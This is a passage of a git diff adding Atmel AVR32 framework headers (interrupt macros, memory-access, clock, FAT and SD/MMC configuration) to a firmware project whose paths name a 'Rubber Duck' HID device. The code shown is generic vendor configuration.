IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef UTILS_INTERRUPT_INTERRUPT_H +#define UTILS_INTERRUPT_INTERRUPT_H + +#include +#include + +/** + * \weakgroup interrupt_group + * + * @{ + */ + +/** + * \name Interrupt Service Routine definition and registration + * + * @{ + */ +#if defined(__GNUC__) || defined(__DOXYGEN__) +# include + +/** + * \brief Define service routine + * + * With IAR, this macro defines the function as an interrupt service routine and + * causes the compiler to add initialization code for the interrupt controller + * (INTC). The interrupt group and level, as well as a valid function name are + * therefore required. + * + * With GCC, this macro only causes the function to be defined as an interrupt + * service routine, i.e., it does not add any initialization code. A valid + * function name is required for use with \ref irq_register_handler. + * + * Usage: + * \code + * ISR(foo_irq_handler, AVR32_xxx_IRQ_GROUP, n) + * { + * // Function definition + * ... + * } + * \endcode + * + * \param func Name for the function, needed by \ref irq_register_handler. + * \param int_grp Interrupt group to define service routine for. + * \param int_lvl Priority level to set for the interrupt group, in the range + * \c 0 to \c 3. + * + * \note The interrupt groups can be found in the device header files for the + * IAR toolchain (avr32/io\ .h). + * + * \todo Update to use IRQ numbers when these are made available in the + * device header files of both IAR and GCC. + */ +# define ISR(func, int_grp, int_lvl) \ + __attribute__((__interrupt__)) static void func (void) + +/** + * \brief Initialize interrupt vectors + * + * With GCC, this macro adds code for initialization of the interrupt vectors + * with the driver for the interrupt controller (INTC). + * + * With IAR, this macro adds no code, since initialization of the INTC is + * handled by the compiler. + * + * This must be called prior to \ref irq_register_handler. + */ +# define irq_initialize_vectors() INTC_init_interrupts() + +/** + * \brief Register handler for interrupt + * + * With GCC, this macro adds code for registering an interrupt handler with the + * driver for the interrupt controller (INTC). + * + * With IAR, this macro adds no code, since initialization of the INTC is + * handled by the compiler. + * + * \param func Name of handler function to register for interrupt. + * \param int_num Number of the interrupt line to register function for. + * \param int_lvl Priority level to set for the interrupt's group, in the range + * \c 0 to \c 3. + * + * Usage: + * \code + * irq_initialize_vectors(); + * irq_register_handler(foo_irq_handler, AVR32_xxx_IRQ, n); + * \endcode + * + * \note The function \a func must be defined with the \ref ISR macro. + * \note The interrupt line number can be found in the device header files for + * the GCC toolchain (avr32/\ .h). + */ +# define irq_register_handler(func, int_num, int_lvl) \ + INTC_register_interrupt(&func, int_num, \ + TPASTE2(AVR32_INTC_INT, int_lvl)) + +#elif defined(__ICCAVR32__) +# define ISR0(...) _Pragma(#__VA_ARGS__) +# define ISR(func, int_grp, int_lvl) \ + ISR0(handler=int_grp, int_lvl) \ + __interrupt static void func (void) +# define irq_initialize_vectors() do{ } while(0) +# define irq_register_handler(func, int_num, int_lvl) do{ } while(0) +#endif + +//@} + +#if (defined __GNUC__) +# define cpu_irq_enable() \ + do { \ + barrier(); \ + __builtin_csrf(AVR32_SR_GM_OFFSET); \ + } while (0) +# define cpu_irq_disable() \ + do { \ + __builtin_ssrf(AVR32_SR_GM_OFFSET); \ + barrier(); \ + } while (0) +#elif (defined __ICCAVR32__) +# define cpu_irq_enable() __enable_interrupt() +# define cpu_irq_disable() __disable_interrupt() +#endif + +typedef uint32_t irqflags_t; + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); + cpu_irq_disable(); + + return flags; +} + +static inline bool cpu_irq_is_enabled_flags(irqflags_t flags) +{ + return !(flags & AVR32_SR_GM_MASK); +} + +static inline void cpu_irq_restore(irqflags_t flags) +{ + barrier(); +#if defined(__ICCAVR32__) + // Barrier " __asm__ __volatile__ ("")" + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +#endif + barrier(); +} + +#define cpu_irq_is_enabled() cpu_irq_is_enabled_flags(sysreg_read(AVR32_SR)) + +//! \name Global interrupt levels +//@{ + +/** + * \brief Check if interrupt level is enabled in supplied flags + * + * \param flags State of interrupt flags. + * \param level Bit position for interrupt level. + * + * \return True if interrupt level is enabled. + */ +static inline bool cpu_irq_level_is_enabled_flags(irqflags_t flags, + uint32_t level) +{ + return !(flags & (1 << level)); +} + +/** + * \brief Check if interrupt level is enabled + * + * \param level Interrupt level (0 to 3). + * + * \return True if interrupt level \a level is enabled. + * + * \note The interrupt level must be known at compile time. + */ +#define cpu_irq_level_is_enabled(level) \ + cpu_irq_level_is_enabled_flags(sysreg_read(AVR32_SR), \ + TPASTE3(AVR32_SR_I, level, M_OFFSET)) + +#if defined(__GNUC__) || defined(__DOXYGEN__) +/** + * \brief Enable interrupt level + * + * \param level Interrupt level to enable (0 to 3). + * + * \note The interrupt level must be known at compile time. + */ +# define cpu_irq_enable_level(level) \ + do { \ + barrier(); \ + __builtin_csrf(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + } while (0) + +/** + * \brief Disable interrupt level + * + * \param level Interrupt level to disable (0 to 3). + * + * \note The interrupt level must be known at compile time. + */ +# define cpu_irq_disable_level(level) \ + do { \ + __builtin_ssrf(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + barrier(); \ + } while (0) + +#elif (defined __ICCAVR32__) +# define cpu_irq_enable_level(level) \ + do { \ + barrier(); \ + __clear_status_flag(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + } while(0) +# define cpu_irq_disable_level(level) \ + do { \ + __set_status_flag(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + barrier(); \ + } while (0) +#endif + +//@} + +//@} + +/** + * \weakgroup interrupt_deprecated_group + * @{ + */ + +#define Enable_global_interrupt() cpu_irq_enable() +#define Disable_global_interrupt() cpu_irq_disable() +#define Is_global_interrupt_enabled() cpu_irq_is_enabled() + +#define Enable_interrupt_level(level) cpu_irq_enable_level(level) +#define Disable_interrupt_level(level) cpu_irq_disable_level(level) +#define Is_interrupt_level_enabled(level) cpu_irq_level_is_enabled(level) + +/** + * \name Interrupt protection of code sections + * \note Use \ref cpu_irq_save and \ref cpu_irq_restore instead of these macros. + * @{ + */ + +/** + * \brief Start section with code protected against interrupts + */ +#define AVR32_ENTER_CRITICAL_REGION() \ + { \ + Bool global_interrupt_enabled = Is_global_interrupt_enabled(); \ + Disable_global_interrupt(); + +/** + * \brief End section with code protected against interrupts + * + * \note This macro must always be used in conjunction with + * \ref AVR32_ENTER_CRITICAL_REGION so that interrupts are enabled again. + */ +#define AVR32_LEAVE_CRITICAL_REGION() \ + if (global_interrupt_enabled) Enable_global_interrupt(); \ + } + +//@} + +//@} + +#endif /* UTILS_INTERRUPT_INTERRUPT_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_access.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_access.h new file mode 100755 index 0000000..c6d2c93 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_access.h @@ -0,0 +1,188 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Memory access control configuration file. + * + * This file contains the possible external configuration of the memory access + * control. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CONF_ACCESS_H_ +#define _CONF_ACCESS_H_ + +#include "compiler.h" +#include "board.h" + + +/*! \name Activation of Logical Unit Numbers + */ +//! @{ +#define LUN_0 DISABLE //!< On-Chip Virtual Memory. +#define LUN_1 DISABLE //!< AT45DBX Data Flash. +#define LUN_2 ENABLE //!< SD/MMC Card over SPI. +#define LUN_3 DISABLE +#define LUN_4 DISABLE +#define LUN_5 DISABLE +#define LUN_6 DISABLE +#define LUN_7 DISABLE +#define LUN_USB DISABLE //!< Host Mass-Storage Memory. +//! @} + +/*! \name LUN 0 Definitions + */ +//! @{ +#define VIRTUAL_MEM LUN_0 +#define LUN_ID_VIRTUAL_MEM LUN_ID_0 +#define LUN_0_INCLUDE "virtual_mem.h" +#define Lun_0_test_unit_ready virtual_test_unit_ready +#define Lun_0_read_capacity virtual_read_capacity +#define Lun_0_wr_protect virtual_wr_protect +#define Lun_0_removal virtual_removal +#define Lun_0_usb_read_10 virtual_usb_read_10 +#define Lun_0_usb_write_10 virtual_usb_write_10 +#define Lun_0_mem_2_ram virtual_mem_2_ram +#define Lun_0_ram_2_mem virtual_ram_2_mem +#define LUN_0_NAME "\"On-Chip Virtual Memory\"" +//! @} + +/*! \name LUN 1 Definitions + */ +//! @{ +#define AT45DBX_MEM LUN_1 +#define LUN_ID_AT45DBX_MEM LUN_ID_1 +#define LUN_1_INCLUDE "at45dbx_mem.h" +#define Lun_1_test_unit_ready at45dbx_test_unit_ready +#define Lun_1_read_capacity at45dbx_read_capacity +#define Lun_1_wr_protect at45dbx_wr_protect +#define Lun_1_removal at45dbx_removal +#define Lun_1_usb_read_10 at45dbx_usb_read_10 +#define Lun_1_usb_write_10 at45dbx_usb_write_10 +#define Lun_1_mem_2_ram at45dbx_df_2_ram +#define Lun_1_ram_2_mem at45dbx_ram_2_df +#define LUN_1_NAME "\"AT45DBX Data Flash\"" +//! @} + +/*! \name LUN 2 Definitions + */ +//! @{ +#define SD_MMC_SPI_MEM LUN_2 +#define LUN_ID_SD_MMC_SPI_MEM LUN_ID_2 +#define LUN_2_INCLUDE "sd_mmc_spi_mem.h" +#define Lun_2_test_unit_ready sd_mmc_spi_test_unit_ready +#define Lun_2_read_capacity sd_mmc_spi_read_capacity +#define Lun_2_wr_protect sd_mmc_spi_wr_protect +#define Lun_2_removal sd_mmc_spi_removal +#define Lun_2_usb_read_10 sd_mmc_spi_usb_read_10 +#define Lun_2_usb_write_10 sd_mmc_spi_usb_write_10 +#define Lun_2_mem_2_ram sd_mmc_spi_mem_2_ram +#define Lun_2_ram_2_mem sd_mmc_spi_ram_2_mem +#define LUN_2_NAME "\"SD/MMC Card over SPI\"" +//! @} + +/*! \name USB LUNs Definitions + */ +//! @{ +#define MEM_USB LUN_USB +#define LUN_ID_MEM_USB LUN_ID_USB +#define LUN_USB_INCLUDE "host_mem.h" +#define Lun_usb_test_unit_ready(lun) host_test_unit_ready(lun) +#define Lun_usb_read_capacity(lun, nb_sect) host_read_capacity(lun, nb_sect) +#define Lun_usb_read_sector_size(lun) host_read_sector_size(lun) +#define Lun_usb_wr_protect(lun) host_wr_protect(lun) +#define Lun_usb_removal() host_removal() +#define Lun_usb_mem_2_ram(addr, ram) host_read_10_ram(addr, ram) +#define Lun_usb_ram_2_mem(addr, ram) host_write_10_ram(addr, ram) +#define LUN_USB_NAME "\"Host Mass-Storage Memory\"" +//! @} + +/*! \name Actions Associated with Memory Accesses + * + * Write here the action to associate with each memory access. + * + * \warning Be careful not to waste time in order not to disturb the functions. + */ +//! @{ +#if BOARD == EVK1100 + #define READ_LED LED_BI0_GREEN + #define WRITE_LED LED_BI0_RED +#elif BOARD == EVK1101 + #define READ_LED LED_MONO0_GREEN + #define WRITE_LED LED_MONO1_GREEN +#elif BOARD == EVK1104 + #define READ_LED LED0 + #define WRITE_LED LED1 +#elif BOARD == EVK1105 + #define READ_LED LED0 + #define WRITE_LED LED1 +#elif BOARD == UC3C_EK + #define READ_LED LED0 + #define WRITE_LED LED1 +#elif BOARD == UC3L_EK + #define READ_LED LED0 + #define WRITE_LED LED1 +#endif + +#define memory_start_read_action(nb_sectors) LED_On(READ_LED) +#define memory_stop_read_action() LED_Off(READ_LED) +#define memory_start_write_action(nb_sectors) LED_On(WRITE_LED) +#define memory_stop_write_action() LED_Off(WRITE_LED) +//! @} + +/*! \name Activation of Interface Features + */ +//! @{ +#define ACCESS_USB DISABLED //!< MEM <-> USB interface. +#define ACCESS_MEM_TO_RAM ENABLED //!< MEM <-> RAM interface. +#define ACCESS_STREAM ENABLED //!< Streaming MEM <-> MEM interface. +#define ACCESS_STREAM_RECORD DISABLED //!< Streaming MEM <-> MEM interface in record mode. +#define ACCESS_MEM_TO_MEM ENABLED //!< MEM <-> MEM interface. +#define ACCESS_CODEC DISABLED //!< Codec interface. +//! @} + +/*! \name Specific Options for Access Control + */ +//! @{ +#define GLOBAL_WR_PROTECT DISABLED //!< Management of a global write protection. +//! @} + + +#endif // _CONF_ACCESS_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_board.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_board.h new file mode 100755 index 0000000..4552eb6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_board.h @@ -0,0 +1,43 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Board configuration + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CONF_BOARD_H_INCLUDED +#define CONF_BOARD_H_INCLUDED + +// Only the default board init (switchs/leds) is necessary for this example + +#endif /* CONF_BOARD_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_clock.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_clock.h new file mode 100755 index 0000000..da1e531 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_clock.h @@ -0,0 +1,75 @@ +/** + * \file + * + * \brief Chip-specific system clock manager configuration + * + * Copyright (C) 2011 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CONF_CLOCK_H_INCLUDED +#define CONF_CLOCK_H_INCLUDED + +// ===== System Clock Source Options +//#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_RCSYS +#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_OSC0 +//#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_PLL0 + +// ===== PLL0 Options +#define CONFIG_PLL0_SOURCE PLL_SRC_OSC0 +//#define CONFIG_PLL0_SOURCE PLL_SRC_OSC1 +#define CONFIG_PLL0_MUL 8 /* Fpll = (Fclk * PLL_mul) / PLL_div */ +#define CONFIG_PLL0_DIV 2 /* Fpll = (Fclk * PLL_mul) / PLL_div */ + +// ===== PLL1 Options +//#define CONFIG_PLL1_SOURCE PLL_SRC_OSC0 +//#define CONFIG_PLL1_SOURCE PLL_SRC_OSC1 +//#define CONFIG_PLL1_MUL 8 /* Fpll = (Fclk * PLL_mul) / PLL_div */ +//#define CONFIG_PLL1_DIV 2 /* Fpll = (Fclk * PLL_mul) / PLL_div */ + +// ===== System Clock Bus Division Options +#define CONFIG_SYSCLK_CPU_DIV 1 /* Fcpu = Fsys/(2 ^ CPU_div) */ +#define CONFIG_SYSCLK_PBA_DIV 1 /* Fpba = Fsys/(2 ^ PBA_div) */ +#define CONFIG_SYSCLK_PBB_DIV 1 /* Fpbb = Fsys/(2 ^ PBB_div) */ + +// ===== Peripheral Clock Management Options +//#define CONFIG_SYSCLK_INIT_CPUMASK ((1 << SYSCLK_SYSTIMER) | (1 << SYSCLK_OCD)) +//#define CONFIG_SYSCLK_INIT_PBAMASK (1 << SYSCLK_USART0) +//#define CONFIG_SYSCLK_INIT_PBBMASK (1 << SYSCLK_HMATRIX) +//#define CONFIG_SYSCLK_INIT_HSBMASK (1 << SYSCLK_MDMA_HSB) + +// ===== USB Clock Source Options +//#define CONFIG_USBCLK_SOURCE USBCLK_SRC_OSC0 +#define CONFIG_USBCLK_SOURCE USBCLK_SRC_PLL0 +//#define CONFIG_USBCLK_SOURCE USBCLK_SRC_PLL1 +#define CONFIG_USBCLK_DIV 1 /* Fusb = Fsys/(2 ^ USB_div) */ + +#endif /* CONF_CLOCK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_explorer.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_explorer.h new file mode 100755 index 0000000..f3e7872 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_explorer.h @@ -0,0 +1,126 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ****************************************************************** + * + * \brief FAT configuration file. + * + * This file contains the possible external configuration of the FAT. + * + * Information about file-system limitations: + * - Only 2-FAT FSs supported by this navigator. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ***************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CONF_EXPLORER_H_ +#define _CONF_EXPLORER_H_ + +#include "compiler.h" + + +//! Include files and compile options (do not change these settings). +#define LIB_MEM +#define LIB_CTRLACCESS "ctrl_access.h" + +//! Supported FATs (\c ENABLED or \c DISABLED). +#define FS_FAT_12 ENABLED +#define FS_FAT_16 ENABLED +#define FS_FAT_32 ENABLED + +//! The explorer may support either the ASCII or the UNICODE string format, or both. +#define FS_ASCII ENABLED +#define FS_UNICODE DISABLED + +//! The navigator may support only the first partition (\c DISABLED), or multiple partitions (\c ENABLED). +#define FS_MULTI_PARTITION DISABLED + +//! Maximal number of characters in file path. +#define MAX_FILE_PATH_LENGTH 30 + +//! Maximal size of configuration file. +#define MAX_CONFIG_FILE_SIZE 110 + +//! Level of features. +//! Select among: +//! - \c FSFEATURE_READ: All read functions. +//! - \c FSFEATURE_WRITE: nav_file_copy(), nav_file_paste(), nav_file_del(), file_create(), file_open(MODE_WRITE), file_write(), file_putc(). +//! - \c FSFEATURE_WRITE_COMPLET: FSFEATURE_WRITE functions and nav_drive_format(), nav_dir_make(), nav_file_rename(), nav_file_dateset(), nav_file_attributset(). +//! - \c FSFEATURE_ALL: All functions. +#define FS_LEVEL_FEATURES (FSFEATURE_READ | FSFEATURE_WRITE_COMPLET) + +//! Number of caches used to store a cluster list of files (interesting in case of many `open file'). +//! In player mode, 1 is OK (shall be > 0). +#define FS_NB_CACHE_CLUSLIST 1 + +//! Maximal number of simultaneous navigators. +#define FS_NB_NAVIGATOR 2 + +//! Number of reserved navigators (ids from \c 0 to (FS_NB_RESERVED_NAVIGATOR - 1)). +#define FS_NB_RESERVED_NAV 0 + +/*! \name Navigator Affiliations + * + * Define the affiliations of the navigators. + * + * \note The explorer always has the navigator ID 0. + */ +//! @{ + +//! The explorer uses the navigator ID 1 to open the `copy file' and the ID 0 to open the `paste file'. +#define FS_NAV_ID_COPYFILE 1 + +//! @} + +/*! \name Playlist Configuration + */ +//! @{ + +//! Cache to store the path of a file (here, mapped onto a global buffer). +#define pl_cache_path g_buffer + +//! Size of cache to store the path of a file. +#define PL_CACHE_PATH_MAX_SIZE sizeof(g_buffer) + +//! Playlist format: \c DISABLED for ASCII or \c ENABLED for UNICODE. +#define PL_UNICODE DISABLED + +//! @} + + +#endif // _CONF_EXPLORER_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sd_mmc_spi.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sd_mmc_spi.h new file mode 100755 index 0000000..5b77a3d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sd_mmc_spi.h @@ -0,0 +1,71 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SD/MMC configuration file. + * + * This file contains the possible external configuration of the SD/MMC. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CONF_SD_MMC_SPI_H_ +#define _CONF_SD_MMC_SPI_H_ + + +#include "conf_access.h" + +#if SD_MMC_SPI_MEM == DISABLE + #error conf_sd_mmc_spi.h is #included although SD_MMC_SPI_MEM is disabled +#endif + + +#include "sd_mmc_spi.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +//! SPI master speed in Hz. +#define SD_MMC_SPI_MASTER_SPEED 12000000 + +//! Number of bits in each SPI transfer. +#define SD_MMC_SPI_BITS 8 + + +#endif // _CONF_SD_MMC_SPI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sleepmgr.h new file mode 100755 index 0000000..08d3ee1 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sleepmgr.h @@ -0,0 +1,44 @@ +/** + * \file + * + * \brief Chip-specific sleep manager configuration + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR 